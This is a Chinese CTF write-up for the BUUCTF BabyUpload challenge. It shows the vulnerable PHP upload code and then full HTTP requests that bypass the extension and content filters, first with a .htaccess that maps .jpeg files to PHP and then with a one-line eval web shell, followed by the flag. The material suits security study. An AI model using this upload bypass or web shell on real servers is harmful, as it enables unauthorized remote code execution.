[开发测试]BUUCTF WEB [GXYCTF2019]BabyUpload

BUUCTF WEB [GXYCTF2019]BabyUpload

• 查看题目源码

  <?php
  session_start();
  echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
  <title>Upload</title>
  <form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
  上传文件<input type=\"file\" name=\"uploaded\" />
  <input type=\"submit\" name=\"submit\" value=\"上传\" />
  </form>";
  error_reporting(0);
  if(!isset($_SESSION['user'])){
      $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
  }
  if(isset($_FILES['uploaded'])) {
      $target_path  = getcwd() . "/upload/" . md5($_SESSION['user']);
      $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
      $uploaded_name = $_FILES['uploaded']['name'];
      $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
      $uploaded_size = $_FILES['uploaded']['size'];
      $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
   
      if(preg_match("/ph/i", strtolower($uploaded_ext))){
          die("后缀名不能有ph！");
      }
      else{
          if ((($_FILES["uploaded"]["type"] == "") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
              $content = file_get_contents($uploaded_tmp);
              if(preg_match("/\<\?/i", $content)){
                  die("诶，别蒙我啊，这标志明显还是php啊");
              }
              else{
                  mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
                  move_uploaded_file($uploaded_tmp, $t_path);
                  echo "{$t_path} succesfully uploaded!";
              }
          }
          else{
              die("上传类型也太露骨了吧！");
          }
      }
  }
  ?>
  

• 第一层过滤，文件后缀不能有ph

  if(preg_match("/ph/i", strtolower($uploaded_ext)))
  

• 第二层过滤，上传文件类型为image/jpeg和image/pjpeg且文件大小小于2048

   if ((($_FILES["uploaded"]["type"] == "") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048))
  

• 第三层过滤，文件内容中不能有<?

  if(preg_match("/\<\?/i", $content))
  

• 思路为上传,htaccess文件，将jpeg文件当做php文件解析

  POST / HTTP/1.1
  Host: dae5a433-f772-4c37-b2d4-a49c51fb0ade.node4.buuoj.cn:81
  Content-Length: 284
  Cache-Control: max-age=0
  Upgrade-Insecure-Requests: 1
  Origin: http://dae5a433-f772-4c37-b2d4-a49c51fb0ade.node4.buuoj.cn:81
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykmAwJBDCdC6wHnib
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Referer: http://dae5a433-f772-4c37-b2d4-a49c51fb0ade.node4.buuoj.cn:81/
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.9
  Cookie: PHPSESSID=17f9c003a03305399eb60228654d19c9
  Connection: close
  
  ------WebKitFormBoundarykmAwJBDCdC6wHnib
  Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
  Content-Type: image/jpeg
  
  AddType application/x-httpd-php .jpeg
  ------WebKitFormBoundarykmAwJBDCdC6wHnib
  Content-Disposition: form-data; name="submit"
  
  涓婁紶
  ------WebKitFormBoundarykmAwJBDCdC6wHnib--
  
  

  回显

  /var/www/html/upload/9cd8cd841940b6c5858b3f5e066362e4/.htaccess succesfully uploaded!
  

• 再上传1.jpeg后门文件

  POST / HTTP/1.1
  Host: dae5a433-f772-4c37-b2d4-a49c51fb0ade.node4.buuoj.cn:81
  Content-Length: 334
  Cache-Control: max-age=0
  Upgrade-Insecure-Requests: 1
  Origin: http://dae5a433-f772-4c37-b2d4-a49c51fb0ade.node4.buuoj.cn:81
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykmAwJBDCdC6wHnib
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Referer: http://dae5a433-f772-4c37-b2d4-a49c51fb0ade.node4.buuoj.cn:81/
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.9
  Cookie: PHPSESSID=17f9c003a03305399eb60228654d19c9
  Connection: close
  
  ------WebKitFormBoundarykmAwJBDCdC6wHnib
  Content-Disposition: form-data; name="uploaded"; filename="1.jpeg"
  Content-Type: image/jpeg
  
  <script language=php>@eval($_POST['cmd']);</script>
  ------WebKitFormBoundarykmAwJBDCdC6wHnib
  Content-Disposition: form-data; name="submit"
  
  涓婁紶
  ------WebKitFormBoundarykmAwJBDCdC6wHnib--
  
  

  回显

  /var/www/html/upload/9cd8cd841940b6c5858b3f5e066362e4/1.jpeg succesfully uploaded!
  

• 使用蚁剑连接，在文件根目录下找到flag文件

  flag{89a4d796-60f4-4ffb-8bf5-5151ed7a9928}
  

阅读世界，共赴山海

423全民读书节，邀你共读